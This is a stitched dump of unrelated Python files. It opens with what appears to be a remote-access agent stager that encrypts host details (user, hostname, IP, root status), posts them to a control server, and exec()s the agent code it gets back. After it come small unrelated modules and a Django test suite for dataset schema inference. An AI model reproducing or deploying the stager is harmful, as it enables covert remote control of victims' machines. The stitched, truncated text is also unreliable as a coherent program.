0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d] def __init__(self, key): if len(key) not in (16, 24, 32): raise ValueError('Invalid key size') rounds = self.number_of_rounds[len(key)] # Encryption round keys self._Ke = [[0] * 4 for i in xrange(rounds + 1)] # Decryption round keys self._Kd = [[0] * 4 for i in xrange(rounds + 1)] round_key_count = (rounds + 1) * 4 KC = len(key) // 4 # Convert the key into ints tk = [struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4)] # Copy values into round key arrays for i in xrange(0, KC): self._Ke[i // 4][i % 4] = tk[i] self._Kd[rounds - (i // 4)][i % 4] = tk[i] # Key expansion (fips-197 section 5.2) rconpointer = 0 t = KC while t < round_key_count: tt = tk[KC - 1] tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ (self.S[(tt >> 8) & 0xFF] << 16) ^ (self.S[ tt & 0xFF] << 8) ^ self.S[(tt >> 24) & 0xFF] ^ (self.rcon[rconpointer] << 24)) rconpointer += 1 if KC != 8: for i in xrange(1, KC): tk[i] ^= tk[i - 1] # Key expansion for 256-bit keys is "slightly different" (fips-197) else: for i in xrange(1, KC // 2): tk[i] ^= tk[i - 1] tt = tk[KC // 2 - 1] tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ (self.S[(tt >> 8) & 0xFF] << 8) ^ (self.S[(tt >> 16) & 0xFF] << 16) ^ (self.S[(tt >> 24) & 0xFF] << 24)) for i in xrange(KC // 2 + 1, KC): tk[i] ^= tk[i - 1] # Copy values into round key arrays j = 0 while j < KC and t < round_key_count: self._Ke[t // 4][t % 4] = tk[j] self._Kd[rounds - (t // 4)][t % 4] = tk[j] j += 1 t += 1 # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) for r in xrange(1, rounds): for j in xrange(0, 4): tt = self._Kd[r][j] self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ self.U2[(tt >> 16) & 0xFF] ^ self.U3[(tt >> 8) & 0xFF] ^ self.U4[ tt & 0xFF]) def encrypt(self, plaintext): 'Encrypt a block of plain text using the AES block cipher.' if len(plaintext) != 16: raise ValueError('wrong block length') rounds = len(self._Ke) - 1 (s1, s2, s3) = [1, 2, 3] a = [0, 0, 0, 0] # Convert plaintext to (ints ^ key) t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T4[ t[(i + s3) % 4] & 0xFF] ^ self._Ke[r][i]) t = copy.copy(a) # The last round is special result = [] for i in xrange(0, 4): tt = self._Ke[rounds][i] result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result def decrypt(self, ciphertext): 'Decrypt a block of cipher text using the AES block cipher.' if len(ciphertext) != 16: raise ValueError('wrong block length') rounds = len(self._Kd) - 1 (s1, s2, s3) = [3, 2, 1] a = [0, 0, 0, 0] # Convert ciphertext to (ints ^ key) t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T8[ t[(i + s3) % 4] & 0xFF] ^ self._Kd[r][i]) t = copy.copy(a) # The last round is special result = [] for i in xrange(0, 4): tt = self._Kd[rounds][i] result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('wrong block length') rounds = len(self._Kd) - 1 (s1, s2, s3) = [3, 2, 1] a = [0, 0, 0, 0] # Convert ciphertext to (ints ^ key) t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] # Apply round transforms for r in xrange(1, rounds): for i in xrange(0, 4): a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ self.T8[ t[(i + s3) % 4] & 0xFF] ^ self._Kd[r][i]) t = copy.copy(a) # The last round is special result = [ ] for i in xrange(0, 4): tt = self._Kd[rounds][i] result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) return result class AESBlockModeOfOperation(object): '''Super-class for AES modes of operation that require blocks.''' def __init__(self, key): self._aes = AES(key) def decrypt(self, ciphertext): raise Exception('not implemented') def encrypt(self, plaintext): raise Exception('not implemented') class AESModeOfOperationCBC(AESBlockModeOfOperation): name = "Cipher-Block Chaining (CBC)" def __init__(self, key, iv=None): if iv is None: self._last_cipherblock = [0] * 16 elif len(iv) != 16: raise ValueError('initialization vector must be 16 bytes') else: self._last_cipherblock = _string_to_bytes(iv) AESBlockModeOfOperation.__init__(self, key) def encrypt(self, plaintext): if len(plaintext) != 16: raise ValueError('plaintext block must be 16 bytes') plaintext = _string_to_bytes(plaintext) precipherblock = [(p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock)] self._last_cipherblock = self._aes.encrypt(precipherblock) return _bytes_to_string(self._last_cipherblock) def decrypt(self, ciphertext): if len(ciphertext) != 16: raise ValueError('ciphertext block must be 16 bytes') cipherblock = _string_to_bytes(ciphertext) plaintext = [(p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock)] self._last_cipherblock = cipherblock return _bytes_to_string(plaintext) def CBCenc(aesObj, plaintext, base64=False): # break the blocks in 16 byte chunks, padding the last chunk if necessary blocks = [plaintext[0+i:16+i] for i in range(0, len(plaintext), 16)] blocks[-1] = append_PKCS7_padding(blocks[-1]) ciphertext = "" for block in blocks: ciphertext += aesObj.encrypt(block) return ciphertext def CBCdec(aesObj, ciphertext, base64=False): # break the blocks in 16 byte chunks, padding the last chunk if necessary blocks = [ciphertext[0+i:16+i] for i in range(0, len(ciphertext), 16)] plaintext = "" for x in xrange(0, len(blocks)-1): plaintext += aesObj.decrypt(blocks[x]) plaintext += strip_PKCS7_padding(aesObj.decrypt(blocks[-1])) return plaintext def getIV(len=16): return ''.join(chr(random.randint(0, 255)) for _ in range(len)) def aes_encrypt(key, data): """ Generate a random IV and new AES cipher object with the given key, and return IV + encryptedData. """ IV = getIV() aes = AESModeOfOperationCBC(key, iv=IV) return IV + CBCenc(aes, data) def aes_encrypt_then_hmac(key, data): """ Encrypt the data then calculate HMAC over the ciphertext. """ data = aes_encrypt(key, data) mac = hmac.new(str(key), data, hashlib.sha256).digest() return data + mac[0:10] def aes_decrypt(key, data): """ Generate an AES cipher object, pull out the IV from the data and return the unencrypted data. """ IV = data[0:16] aes = AESModeOfOperationCBC(key, iv=IV) return CBCdec(aes, data[16:]) def verify_hmac(key, data): """ Verify the HMAC supplied in the data with the given key. """ if len(data) > 20: mac = data[-10:] data = data[:-10] expected = hmac.new(key, data, hashlib.sha256).digest()[0:10] # Double HMAC to prevent timing attacks. hmac.compare_digest() is # preferable, but only available since Python 2.7.7. return hmac.new(str(key), expected).digest() == hmac.new(str(key), mac).digest() else: return False def aes_decrypt_and_verify(key, data): """ Decrypt the data, but only if it has a valid MAC. """ if len(data) > 32 and verify_hmac(key, data): return aes_decrypt(key, data[:-10]) raise Exception("Invalid ciphertext received.") def rc4(key, data): """ Decrypt/encrypt the passed data using RC4 and the given key. """ S,j,out=range(256),0,[] for i in range(256): j=(j+S[i]+ord(key[i%len(key)]))%256 S[i],S[j]=S[j],S[i] i=j=0 for char in data: i=(i+1)%256 j=(j+S[i])%256 S[i],S[j]=S[j],S[i] out.append(chr(ord(char)^S[(S[i]+S[j])%256])) return ''.join(out) def parse_routing_packet(stagingKey, data): """ Decodes the rc4 "routing packet" and parses raw agent data into: {sessionID : (language, meta, additional, [encData]), ...} Routing packet format: +---------+-------------------+--------------------------+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | +-----------+------+------+-------+--------+ | 8 | 1 | 1 | 2 | 4 | +-----------+------+------+-------+--------+ """ if data: results = {} offset = 0 # ensure we have at least the 20 bytes for a routing packet if len(data) >= 20: while True: if len(data) - offset < 20: break RC4IV = data[0+offset:4+offset] RC4data = data[4+offset:20+offset] routingPacket = rc4(RC4IV+stagingKey, RC4data) sessionID = routingPacket[0:8] # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long (language, meta, additional, length) = struct.unpack("=BBHL", routingPacket[8:]) if length < 0: encData = None else: encData = data[(20+offset):(20+offset+length)] results[sessionID] = (LANGUAGE_IDS.get(language, 'NONE'), META_IDS.get(meta, 'NONE'), ADDITIONAL_IDS.get(additional, 'NONE'), encData) # check if we're at the end of the packet processing remainingData = data[20+offset+length:] if not remainingData or remainingData == '': break offset += 20 + length return results else: print "[*] parse_agent_data() data length incorrect: %s" % (len(data)) return None else: print "[*] parse_agent_data() data is None" return None def build_routing_packet(stagingKey, sessionID, meta=0, additional=0, encData=''): """ Takes the specified parameters for an RC4 "routing packet" and builds/returns an HMAC'ed RC4 "routing packet". packet format: Routing Packet: +---------+-------------------+--------------------------+ | RC4 IV | RC4s(RoutingData) | AESc(client packet data) | ... +---------+-------------------+--------------------------+ | 4 | 16 | RC4 length | +---------+-------------------+--------------------------+ RC4s(RoutingData): +-----------+------+------+-------+--------+ | SessionID | Lang | Meta | Extra | Length | +-----------+------+------+-------+--------+ | 8 | 1 | 1 | 2 | 4 | +-----------+------+------+-------+--------+ """ # binary pack all of the passed config values as unsigned numbers # B == 1 byte unsigned char, H == 2 byte unsigned short, L == 4 byte unsigned long data = sessionID + struct.pack("=BBHL", 2, meta, additional, len(encData)) RC4IV = os.urandom(4) key = RC4IV + stagingKey rc4EncData = rc4(key, data) packet = RC4IV + rc4EncData + encData return packet def post_message(uri, data): global headers return (urllib2.urlopen(urllib2.Request(uri, data, headers))).read() def get_sysinfo(nonce='00000000'): # nonce | listener | domainname | username | hostname | internal_ip | os_details | os_details | high_integrity | process_name | process_id | language | language_version __FAILED_FUNCTION = '[FAILED QUERY]' try: username = pwd.getpwuid(os.getuid())[0] except Exception as e: username = __FAILED_FUNCTION try: uid = os.popen('id -u').read().strip() except Exception as e: uid = __FAILED_FUNCTION try: highIntegrity = "True" if (uid == "0") else False except Exception as e: highIntegrity = __FAILED_FUNCTION try: osDetails = os.uname() except Exception as e: osDetails = __FAILED_FUNCTION try: hostname = osDetails[1] except Exception as e: hostname = __FAILED_FUNCTION try: internalIP = socket.gethostbyname(socket.gethostname()) except Exception as e: internalIP = __FAILED_FUNCTION try: osDetails = ",".join(osDetails) except Exception as e: osDetails = __FAILED_FUNCTION try: processID = os.getpid() except Exception as e: processID = __FAILED_FUNCTION try: temp = sys.version_info pyVersion = "%s.%s" % (temp[0],temp[1]) except Exception as e: pyVersion = __FAILED_FUNCTION language = 'python' cmd = 'ps %s' % (os.getpid()) ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) out = ps.stdout.read() parts = out.split("\n") ps.stdout.close() if len(parts) > 2: processName = " ".join(parts[1].split()[4:]) else: processName = 'python' return "%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s|%s" % (nonce, server, '', username, hostname, internalIP, osDetails, highIntegrity, processName, processID, language, pyVersion) # generate a randomized sessionID sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in xrange(8)) # server configuration information stagingKey = "REPLACE_STAGING_KEY" profile = 'REPLACE_PROFILE' WorkingHours = 'SET_WORKINGHOURS' KillDate = 'SET_KILLDATE' parts = profile.split('|') taskURIs = parts[0].split(',') userAgent = parts[1] headersRaw = parts[2:] # global header dictionary # sessionID is set by stager.py # headers = {'User-Agent': userAgent, "Cookie": "SESSIONID=%s" % (sessionID)} headers = {'User-Agent': userAgent} # parse the headers into the global header dictionary for headerRaw in headersRaw: try: headerKey = headerRaw.split(":")[0] headerValue = headerRaw.split(":")[1] if headerKey.lower() == "cookie": headers['Cookie'] = "%s;%s" % (headers['Cookie'], headerValue) else: headers[headerKey] = headerValue except: pass # stage 3 of negotiation -> client generates DH key, and POSTs HMAC(AESn(PUBc)) back to server clientPub = DiffieHellman() hmacData = aes_encrypt_then_hmac(stagingKey, str(clientPub.publicKey)) # RC4 routing packet: # meta = STAGE1 (2) routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=2, encData=hmacData) try: postURI = server + '/index.jsp' # response = post_message(postURI, routingPacket+hmacData) response = post_message(postURI, routingPacket) except: exit() # decrypt the server's public key and the server nonce packet = aes_decrypt_and_verify(stagingKey, response) nonce = packet[0:16] serverPub = int(packet[16:]) # calculate the shared secret clientPub.genKey(serverPub) key = clientPub.key # step 5 -> client POSTs HMAC(AESs([nonce+1]|sysinfo) postURI = server + '/index.php' hmacData = aes_encrypt_then_hmac(clientPub.key, get_sysinfo(nonce=str(int(nonce)+1))) # RC4 routing packet: # sessionID = sessionID # language = PYTHON (2) # meta = STAGE2 (3) # extra = 0 # length = len(length) routingPacket = build_routing_packet(stagingKey=stagingKey, sessionID=sessionID, meta=3, encData=hmacData) response = post_message(postURI, routingPacket) # step 6 -> server sends HMAC(AES) agent = aes_decrypt_and_verify(key, response) agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours) agent = agent.replace('REPLACE_KILLDATE', KillDate) exec(agent)

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182

py

Python

pkgs/clean-pkg/src/genie/libs/clean/stages/nxos/n3k/image_handler.py

jbronikowski/genielibs

200a34e5fe4838a27b5a80d5973651b2e34ccafb

[ "Apache-2.0" ]

94

2018-04-30T20:29:15.000Z

2022-03-29T13:40:31.000Z

pkgs/clean-pkg/src/genie/libs/clean/stages/nxos/n3k/image_handler.py

jbronikowski/genielibs

200a34e5fe4838a27b5a80d5973651b2e34ccafb

[ "Apache-2.0" ]

67

2018-12-06T21:08:09.000Z

2022-03-29T18:00:46.000Z

pkgs/clean-pkg/src/genie/libs/clean/stages/nxos/n3k/image_handler.py

jbronikowski/genielibs

200a34e5fe4838a27b5a80d5973651b2e34ccafb

[ "Apache-2.0" ]

49

2018-06-29T18:59:03.000Z

2022-03-10T02:07:59.000Z

'''NXOS N3K: Image Handler Class''' # Genie from genie.libs.clean.stages.nxos.n9k.image_handler import ImageHandler as N9KImageHandler class ImageHandler(N9KImageHandler): pass

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29

py

Python

graphlearning/__init__.py

jwcalder/GraphLearningOld

04bece45cd512cf1a3bcddb163b767ca44a746e1

[ "MIT" ]

46

2019-11-06T22:05:56.000Z

2022-03-30T07:02:36.000Z

graphlearning/__init__.py

jwcalder/GraphLearningOld

04bece45cd512cf1a3bcddb163b767ca44a746e1

[ "MIT" ]

2

2020-10-08T16:36:04.000Z

2021-09-30T19:37:23.000Z

graphlearning/__init__.py

jwcalder/GraphLearningOld

04bece45cd512cf1a3bcddb163b767ca44a746e1

[ "MIT" ]

15

2020-08-25T00:57:18.000Z

2022-02-02T14:42:31.000Z

from .graphlearning import *

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0a81ddff283dc565e12ebf0176547c03276464c1

176

py

Python

programs/pyeos/tests/python/codestore/math.py

learnforpractice/pyeos

4f04eb982c86c1fdb413084af77c713a6fda3070

[ "MIT" ]

144

2017-10-18T16:38:51.000Z

2022-01-09T12:43:57.000Z

programs/pyeos/tests/python/codestore/math.py

openchatproject/safeos

2c8dbf57d186696ef6cfcbb671da9705b8f3d9f7

[ "MIT" ]

60

2017-10-11T13:07:43.000Z

2019-03-26T04:33:27.000Z

programs/pyeos/tests/python/codestore/math.py

learnforpractice/pyeos

4f04eb982c86c1fdb413084af77c713a6fda3070

[ "MIT" ]

38

2017-12-05T01:13:56.000Z

2022-01-07T07:06:53.000Z

def auth(func): def func_wrapper(*args): print('TODO: authorization check') return func(*args) return func_wrapper @auth def add(a, b): return a+b

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1

0

6

0a849c605d4aef02c69f467436194d1bfba06c3c

188

py

Python

sst/tests/static/comments_before_markdown.py

Adamage/tutorials

b6600c052613909dbec378fea4a69deff46004dc

[ "MIT" ]

null

sst/tests/static/comments_before_markdown.py

Adamage/tutorials

b6600c052613909dbec378fea4a69deff46004dc

[ "MIT" ]

78

2021-09-20T11:48:08.000Z

2021-10-21T07:10:39.000Z

sst/tests/static/comments_before_markdown.py

Adamage/tutorials

b6600c052613909dbec378fea4a69deff46004dc

[ "MIT" ]

null

#!/usr/bin/env python3 # Comments should work here """ Example first cell """ def hello(name): print(f'Hello {name}!') #hello """ Example second cell """ # comments should work here

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1

0

6

0a85e108460545b246badaf1a46b4e18a4a85665

39

py

Python

basic_types/__init__.py

Octavian-ai/synthetic-graph-data

b327cfb06d420d216a5377f2ce953355089e0e6b

[ "MIT" ]

16

2018-09-06T09:27:03.000Z

2021-05-28T01:35:44.000Z

basic_types/__init__.py

Octavian-ai/generate-data

b327cfb06d420d216a5377f2ce953355089e0e6b

[ "MIT" ]

1

2021-02-10T00:02:43.000Z

basic_types/__init__.py

Octavian-ai/generate-data

b327cfb06d420d216a5377f2ce953355089e0e6b

[ "MIT" ]

7

2018-07-23T08:39:54.000Z

2021-02-08T16:24:54.000Z

from .nano_type import NanoType, NanoID

39

0.846154

6

39

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0

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1

39

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0

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0

1

0

6

0aa66c017e50135145fb85893df0e757705b1dbd

58

py

Python

tests/exam/mod2.py

Mieschendahl/assignment-final-stub

19eea657fcc4f8a455c42028f34b918628514cc0

[ "MIT" ]

null

tests/exam/mod2.py

Mieschendahl/assignment-final-stub

19eea657fcc4f8a455c42028f34b918628514cc0

[ "MIT" ]

1

2022-03-20T11:08:45.000Z

tests/exam/mod2.py

Mieschendahl/assignment-final-stub

19eea657fcc4f8a455c42028f34b918628514cc0

[ "MIT" ]

6

2022-03-13T13:10:25.000Z

2022-03-28T22:18:12.000Z

#in=-23801594708 #golden=-42 print(input_int() % 2345678)

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6

0abad766ca7d6167e7a9cfb991c13b3c1c24d798

72

py

Python

src/__init__.py

MattHartshorn/aes-encryption

b06b11b90b4f9d850db602198e5ff404aadb47da

[ "MIT" ]

null

src/__init__.py

MattHartshorn/aes-encryption

b06b11b90b4f9d850db602198e5ff404aadb47da

[ "MIT" ]

null

src/__init__.py

MattHartshorn/aes-encryption

b06b11b90b4f9d850db602198e5ff404aadb47da

[ "MIT" ]

null

from . import actions from . import aescypher from . import keygenerator

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1

0

6

0ac1230b9c716e556f67b6ecfee406f1fc10d82a

101

py

Python

site/thicc/apps/wow/views.py

aldenjenkins/ThiccGaming

4790d2568b019438d1569d0fe4e9f9aba008b737

[ "BSD-3-Clause" ]

null

site/thicc/apps/wow/views.py

aldenjenkins/ThiccGaming

4790d2568b019438d1569d0fe4e9f9aba008b737

[ "BSD-3-Clause" ]

9

2020-03-24T16:20:31.000Z

2022-03-11T23:32:38.000Z

site/thicc/apps/wow/views.py

aldenjenkins/ThiccGaming

4790d2568b019438d1569d0fe4e9f9aba008b737

[ "BSD-3-Clause" ]

null

from django.shortcuts import render def index(request): return render(request, 'wow/wow.html')

16.833333

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null

0

1

0

1

0

6

0ac30575054767f1ee2c1dea7fe3d5eb8a972fc8

35,542

py

Python

biosys/apps/main/tests/api/test_schema_inference.py

parksandwildlife/biosys

0682cf1b4055e7cae59fb53045fa441af6d48f5e

[ "Apache-2.0" ]

2

2018-04-09T04:02:30.000Z

2019-08-20T03:12:55.000Z

biosys/apps/main/tests/api/test_schema_inference.py

parksandwildlife/biosys

0682cf1b4055e7cae59fb53045fa441af6d48f5e

[ "Apache-2.0" ]

29

2016-01-20T08:14:15.000Z

2017-07-13T07:17:32.000Z

biosys/apps/main/tests/api/test_schema_inference.py

parksandwildlife/biosys

0682cf1b4055e7cae59fb53045fa441af6d48f5e

[ "Apache-2.0" ]

5

2016-01-14T23:02:36.000Z

2016-09-21T05:35:03.000Z

import datetime as dt from os import path import json from datapackage import Package from django.core.exceptions import ValidationError from django.shortcuts import reverse from django.utils import six from rest_framework import status from rest_framework.authtoken.models import Token from rest_framework.test import APIRequestFactory, force_authenticate from main import utils_data_package from main.models import Dataset from main.tests.api import helpers from main.utils_data_package import BiosysSchema from main.api.views import InferDatasetView class InferTestBase(helpers.BaseUserTestCase): def verify_biosys_dataset(self, data_package, dataset_type): """ Verify that the dataset model validation is error free :param data_package: :param dataset_type: :return: """ try: Dataset.validate_data_package(data_package, dataset_type) except ValidationError as e: self.fail('Dataset validation error: {}'.format(e)) def verify_inferred_data(self, received): """ Test that the data returned by the infer endpoint are valid and can be used to create a dataset through API :param received should be of the form { 'name': 'dataset name' 'type': 'generic'|'observation'|'species_observation' 'data_package': { # a valid data package with schema } } """ self.assertIn('name', received) # self.assertIsNotNone(received.get('name')) self.assertIn('type', received) self.assertIn(received.get('type'), ['generic', 'observation', 'species_observation']) # dataset self.verify_biosys_dataset(received.get('data_package'), received.get('type')) # Verify that we can create a dataset from the inference result. url = reverse('api:dataset-list') client = self.data_engineer_1_client project = self.project_1 payload = { 'project': project.pk, 'name': received.get('name'), 'type': received.get('type'), 'data_package': received.get('data_package') } resp = client.post(url, payload, format='json') self.assertIn(resp.status_code, [status.HTTP_200_OK, status.HTTP_201_CREATED]) class TestGenericSchema(InferTestBase): def _more_setup(self): self.url = reverse('api:infer-dataset') def test_generic_string_and_number_simple_xls(self): """ Test that the infer detect numbers and integers type """ columns = ['Name', 'Age', 'Weight', 'Comments'] rows = [ columns, ['Frederic', 56, 80.5, 'a comment'], ['Hilda', 24, 56, ''] ] client = self.data_engineer_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) # should be json self.assertEqual(resp.get('content-type'), 'application/json') received = resp.json() # name should be set with the file name self.assertIn('name', received) file_name = path.splitext(path.basename(fp.name))[0] self.assertEqual(file_name, received.get('name')) # type should be 'generic' self.assertIn('type', received) self.assertEqual('generic', received.get('type')) # data_package verification self.assertIn('data_package', received) self.verify_inferred_data(received) # verify schema schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) self.assertEqual(len(schema.fields), len(columns)) self.assertEqual(schema.field_names, columns) field = schema.get_field_by_name('Name') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Age') self.assertEqual(field.type, 'integer') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Weight') self.assertEqual(field.type, 'number') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Comments') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') def test_generic_string_and_number_simple_csv(self): """ Test that the infer detect numbers and integers type """ columns = ['Name', 'Age', 'Weight', 'Comments'] rows = [ columns, ['Frederic', '56', '80.5', 'a comment'], ['Hilda', '24', '56', ''] ] client = self.data_engineer_1_client file_ = helpers.rows_to_csv_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) # should be json self.assertEqual(resp.get('content-type'), 'application/json') received = resp.json() # name should be set with the file name self.assertIn('name', received) file_name = path.splitext(path.basename(fp.name))[0] self.assertEqual(file_name, received.get('name')) # type should be 'generic' self.assertIn('type', received) self.assertEqual('generic', received.get('type')) # data_package verification self.assertIn('data_package', received) self.verify_inferred_data(received) # verify schema schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) self.assertEqual(len(schema.fields), len(columns)) self.assertEqual(schema.field_names, columns) field = schema.get_field_by_name('Name') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Age') self.assertEqual(field.type, 'integer') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Weight') self.assertEqual(field.type, 'number') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Comments') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') def test_generic_date_iso_xls(self): """ Scenario: date column with ISO string 'yyyy-mm-dd' Given that a column is provided with strings of form 'yyyy-mm-dd' Then the column type should be 'date' And the format should be 'any' """ columns = ['What', 'When'] rows = [ columns, ['Something', '2018-01-19'], ['Another thing', dt.date(2017, 12, 29).isoformat()], ['Another thing', '2017-08-01'] ] client = self.data_engineer_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # data_package verification self.assertIn('data_package', received) self.verify_inferred_data(received) # verify schema schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) field = schema.get_field_by_name('What') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('When') self.assertEqual(field.type, 'date') self.assertFalse(field.required) self.assertEqual(field.format, 'any') def test_mix_types_infer_most_plausible(self): """ Scenario: column with more integers than string should be infer a type='integer' Given than a column contains 2 strings then 5 integers Then the column type should be 'integer' """ columns = ['How Many'] rows = [ columns, [1], ['1 or 2'], ['3 or 4'], [2], [3], [4], [5] ] client = self.data_engineer_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # data_package verification self.assertIn('data_package', received) self.verify_inferred_data(received) # verify schema schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) field = schema.get_field_by_name('How Many') self.assertEqual(field.type, 'integer') def test_csv_with_excel_content_type(self): """ Often on Windows a csv file comes with an excel content-type (e.g: 'application/vnd.ms-excel') Test that we handle the case. """ view = InferDatasetView.as_view() columns = ['Name', 'Age', 'Weight', 'Comments'] rows = [ columns, ['Frederic', '56', '80.5', 'a comment'], ['Hilda', '24', '56', ''] ] file_ = helpers.rows_to_csv_file(rows) factory = APIRequestFactory() with open(file_, 'rb') as fp: payload = { 'file': fp, } # In order to hack the Content-Type of the multipart form data we need to use the APIRequestFactory and work # with the view directly. Can't use the classic API client. # hack the content-type of the request. data, content_type = factory._encode_data(payload, format='multipart') if six.PY3: data = data.decode('utf-8') data = data.replace('Content-Type: text/csv', 'Content-Type: application/vnd.ms-excel') if six.PY3: data = data.encode('utf-8') request = factory.generic('POST', self.url, data, content_type=content_type) user = self.data_engineer_1_user token, _ = Token.objects.get_or_create(user=user) force_authenticate(request, user=self.data_engineer_1_user, token=token) resp = view(request).render() self.assertEqual(status.HTTP_200_OK, resp.status_code) # should be json self.assertEqual(resp.get('content-type'), 'application/json') if six.PY3: content = resp.content.decode('utf-8') else: content = resp.content received = json.loads(content) # name should be set with the file name self.assertIn('name', received) file_name = path.splitext(path.basename(fp.name))[0] self.assertEqual(file_name, received.get('name')) # type should be 'generic' self.assertIn('type', received) self.assertEqual('generic', received.get('type')) # data_package verification self.assertIn('data_package', received) self.verify_inferred_data(received) # verify schema schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) 